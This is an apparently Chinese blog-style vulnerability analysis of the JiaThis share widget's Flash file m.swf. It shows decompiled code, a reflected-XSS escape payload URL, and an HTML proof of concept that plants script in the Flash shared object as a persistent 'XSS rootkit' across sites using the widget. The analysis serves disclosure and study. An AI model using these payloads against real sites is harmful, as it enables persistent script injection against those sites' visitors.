看到360官微在微博上说了, http://www.jiathis.com/code/swf/m.swf 存在XSS漏洞,可以导致使用了JiaThis的任意网站产生漏洞。得到这个线索,我们来开始顺藤摸瓜,对这个XSS的原理与利用方法进行一次分析。
这次的分析我想以一个发现者的分析顺序去分析,所以假设我这个时候并不知道JiaThis存在Flash XSS。来到JiaThis的官网,就能很快找到他们提供的代码:
<!-- JiaThis Button BEGIN --> <div class="jiathis_style"> <a class="jiathis_button_qzone"></a> <a class="jiathis_button_tsina"></a> <a class="jiathis_button_tqq"></a> <a class="jiathis_button_weixin"></a> <a class="jiathis_button_renren"></a> <a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a> <a class="jiathis_counter_style"></a> </div> <script type="text/javascript" src="http://v3.jiathis.com/code/jia.js?uid=1427098094896152" charset="utf-8"></script> <!-- JiaThis Button END -->
最核心的其实就是http://v3.jiathis.com/code/jia.js?uid=1427098094896152 这个javascript,我们打开发现是加过密的。在tool.lu上不能直接解密,当然这并不是说他不能解密。我们将eval去掉,中间部分运行后,console.log打印出来,即可看见真实源码:
将得到的源码美化一下,就可以直接看了。由于代码太长,就不贴出来了。
大概浏览一遍,并没有什么发现。我们干脆将jiathis的代码放在页面中,查看一下数据包:
画框的两个,之前没见过,可以研究一下。plugin.client.js解密后,有一段比较有意思:
function init() { var s = (na.userAgent.indexOf("MSIE") > 0) ? d.getElementById(SWFID) : d[SWFID], fv = getFV(); if (typeof s == 'undefined' || s == 'null' || !s) { d.write("<div style='position:absolute;width:0px;height:0px;'><object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' width=0 height=0 id='" + SWFID + "' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param name='allowScriptAccess' value='always'><param name='swLiveConnect' value='true'><param name='movie' value='" + fO.path + "'><param name='FlashVars' value='z=a'><embed name='" + SWFID + "' src='" + fO.path + "' FlashVars='z=a' width=0 height=0 allowscriptaccess='always' swLiveConnect='true' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer' /></object></div>") } if (fv != '-' && parseInt(fv.match(/^\d+(?=.)/)) > 8) { fO.su = 1 } } init(); return { ready: function(p) { if (fO.su) { var a = d[SWFID] || d.getElementById(SWFID), jid = a.readSharedObject(JIDNAME), ut = getUT(jid); if (!def(jid)) { uptUt(a, ut) } if (typeof($CKE) == 'object') { $CKE.jid = ut.jid } if (typeof(JIATHISCKMP) == 'object') { if (typeof(JIATHISCKMP.mapping) == 'function') { JIATHISCKMP.mapping(ut.jid) } } reqUT(ut) } } }
加载了一个flash,也就是之前的m.swf,并且allowscriptaccess的值为always,这说明这个页面中的swf是可以执行javascript代码的。在其中看到了一个敏感的名字a.readSharedObject(JIDNAME)。readSharedObject看起来似乎是在flash的LSO对象中读取值的方法。
将 http://www.jiathis.com/code/swf/m.swf 反编译,得到如下代码:
package m_fla { import flash.display.*; import flash.net.*; import adobe.utils.*; import flash.accessibility.*; import flash.desktop.*; import flash.errors.*; import flash.events.*; import flash.external.*; import flash.filters.*; import flash.geom.*; import flash.media.*; import flash.printing.*; import flash.profiler.*; import flash.sampler.*; import flash.system.*; import flash.text.*; import flash.text.engine.*; import flash.ui.*; import flash.utils.*; import flash.xml.*; public dynamic class MainTimeline extends MovieClip { public const appName:String = "mao"; public var mySo:SharedObject; public function MainTimeline(){ addFrameScript(0, this.frame1); } public function writeSharedObject(param1:String, param2:String):void{ this.mySo = SharedObject.getLocal(this.appName); this.mySo.data[param1] = param2; this.mySo.flush(); } function frame1(){ this.main(); stop(); } public function deleteObjects():void{ this.mySo = SharedObject.getLocal(this.appName); if (this.mySo != null){ this.mySo.clear(); }; } public function deleteObject(param1:String):Boolean{ this.mySo = SharedObject.getLocal(this.appName); if (((!((this.mySo == null))) && (!((this.mySo.data[param1] == null))))){ delete this.mySo.data[param1]; return (true); }; return (false); } public function main(){ var paramObj:* = null; Security.allowDomain("*"); paramObj = root.loaderInfo.parameters; try { if (ExternalInterface.available){ ExternalInterface.addCallback("writeSharedObject", this.writeSharedObject); ExternalInterface.addCallback("readSharedObject", this.readSharedObject); ExternalInterface.addCallback("readObjects", this.readObjects); ExternalInterface.addCallback("deleteObject", this.deleteObject); ExternalInterface.addCallback("deleteObjects", this.deleteObjects); ExternalInterface.call("_gnayTrack.ready", paramObj); }; } catch(e) { }; } public function readSharedObject(param1:String):String{ this.mySo = SharedObject.getLocal(this.appName); return (String(this.mySo.data[param1])); } public function readObjects():Object{ this.mySo = SharedObject.getLocal(this.appName); return (this.mySo.data); } } }//package m_fla
暂且不看LSO的部分,这里很明显有一个反射型XSS:ExternalInterface.call("_gnayTrack.ready", paramObj);
paramObj是root.loaderInfo.parameters,将paramObj作为ExternalInterface.call方法的第二个参数,第二个参数的话我们可以用\"的方式逃逸出引号范围,执行javascript代码。
有人问了,root.loaderInfo.parameters是个对象,怎么传入ExternalInterface.call?ExternalInterface.call的第二个参数应该是一个字符串,但传入对象也是可以的,实际最后执行的时候应该是类似_gnayTrack.ready({"a": "xxxxx"})
所以,我们现在不仅要闭合双引号",还要闭合一个大括号}和一个小括号),所以最后的payload比大家以前见到的多了}):
http://www.jiathis.com/code/swf/m.swf?a=\"})))}catch(e){alert(1)}//
弹了:
这一处应该是一个意外收获。不过收获比较小,因为域是www.jiathis.com,XSS并不能影响到使用jiathis的网站。(除非你将这个swf放在自己的域名下)
回到刚才说的LSO,由于LSO造成的漏洞乌云上也不少了,比如 http://wooyun.org/bugs/wooyun-2014-065197 、http://www.wooyun.org/bugs/wooyun-2013-039481 等。
我们看到swf源码中,确实是调用了LSO对象。我们找到对象保存在我们电脑上的文件C:\Users\phithon\AppData\Local\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\#SharedObjects\DR6LLMCM\www.jiathis.com\code\swf\m.swf\mao.sol
可以看到保存在LSO的内容实际上就是jid=xxxx,我们在控制台直接调用swf对象获得jid的值也验证了这一点:
这就好说了。我们将“脏数据”作为jia的值存入LSO,就能留下一个永久后门。
简单构造一个POC:
<html> <head> <meta charset="uft-8"> <title>lookup</title> </head> <body onload="return rootkit();"> <p> hehe </p> <!-- JiaThis Button BEGIN --> <div class="jiathis_style"> <a class="jiathis_button_qzone"></a> <a class="jiathis_button_tsina"></a> <a class="jiathis_button_tqq"></a> <a class="jiathis_button_weixin"></a> <a class="jiathis_button_renren"></a> <a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a> <a class="jiathis_counter_style"></a> </div> <script type="text/javascript" src="http://v3.jiathis.com/code/jia.js?uid=1427098094896152" charset="utf-8"></script> <!-- JiaThis Button END --> <script> function rootkit(){ var a = document["JIATHISSWF"]; a.writeSharedObject("jid", '\\";(function(){if(location.host!=\'mhz.pw\'){alert(document.domain);}})();//a'); } </script> </body> </html>
我将之保存在 http://mhz.pw/game/jiathis/jiathis.html,当访问了这个页面以后,再访问使用了jiathis的网站,即可在该站域下触发XSS,形成一个永久的XSS Rootkit: